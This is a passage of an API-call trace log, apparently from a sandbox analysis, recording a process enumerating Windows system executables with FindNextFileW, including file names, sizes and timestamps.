ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0025.721] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ftp.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16656c0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc16656c0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d35e70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="fvenotify.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc15cd14c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc15cd14c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2d5cf70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="fveprompt.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e2a321, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1e2a321, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1e2a321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="FXSCOVER.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="FXSSVC.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb688d32a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb688d32a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb688d32a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="FXSUNATD.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6488e076, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6488e076, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="getmac.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7681298b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7681298b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3187dc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="GettingStarted.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ff85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x4782ff85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="gpresult.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c074bde, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3c074bde, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe326ae90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="gpscript.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e45c85, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x49e45c85, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe32b6980, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="gpupdate.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b548d16, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7b548d16, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3329570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="grpconv.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe340ed50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="hdwwiz.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe36230f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="help.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83f15891, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x83f15891, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3943d70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="HOSTNAME.EXE", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x589b8874, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x589b8874, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3968760, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="hwrcomp.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d5f74d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x57d5f74d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe3a02450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="hwrreg.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c16bb3f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c16bb3f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="icacls.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae7063de, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xae7063de, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x55f5cb7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x151140, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="icardagt.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3989fb97, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x3989fb97, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe3a99a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="icsunattend.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd953427f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd953427f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3bcad00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ie4uinit.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99f6e1f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd99f6e1f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3d6ebc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x29c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ieUnatt.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0e6af5d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd0e6af5d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3f5be60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="iexpress.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6198f6b9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6198f6b9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe4230ff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="InfDefaultInstall.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a21ae5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x89a21ae5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe460dc40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ipconfig.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53df1067, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53df1067, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe465be40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="irftp.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ea0f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x870ea0f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x870ea0f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="iscsicli.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396bec02, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x396bec02, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe46f3420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="iscsicpl.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7065be1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="isoburn.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b15b2d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc1b15b2d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0025.722] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d23879, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xc5d23879, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe3ac0b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ksetup.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1459e2, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3c1459e2, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="ktmutil.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe509ed80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="label.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbb1543, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x1fbb1543, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="LocationNotifications.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5bc74a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="Locator.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d2773, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x83d2773, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe5c12f90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="lodctr.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52359975, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52359975, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe5c85b80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ba00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="logagent.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ce93f1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84ce93f1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84d0f551, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="logman.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2baa022, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2baa022, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2bd0183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="logoff.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f930d6e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f930d6e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f956ece, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="LogonUI.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f611088, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f611088, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6371e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9f800, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="lpksetup.exe", cAlternateFileName="")) returned 1 [0025.723] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f5f0 | out: lpFindFileData=0x18f5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a2b8b4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x93a2b8b4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe5e99f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x50004c, dwReserved1=0x63006d, cFileName="lpremove.exe", 